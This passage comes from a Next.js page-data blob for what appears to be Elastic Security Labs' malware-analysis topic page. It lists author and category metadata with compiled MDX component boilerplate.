Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Derek Ditch","slug":"derek-ditch","description":"Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,i)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!_.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(i=d(e,o))||i.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(l(t)):{},s(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003es(c({},\"__esModule\",{value:!0}),t);var u=g((X,a)=\u003e{a.exports=_jsx_runtime});var C={};j(C,{default:()=\u003ek,frontmatter:()=\u003eh});var r=p(u()),h={title:\"Derek Ditch\",description:\"Elastic\",slug:\"derek-ditch\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var k=M;return D(C);})();\n;return Component;"},"_id":"authors/derek-ditch.mdx","_raw":{"sourceFilePath":"authors/derek-ditch.mdx","sourceFileName":"derek-ditch.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/derek-ditch"},"type":"Author","imageUrl":"","url":"/authors/derek-ditch"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]}]},"__N_SSG":true},"page":"/topics/[slug]","query":{"slug":"malware-analysis"},"buildId":"kahZ-cxorFKvHlgt0NoHQ","assetPrefix":"/security-labs","isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>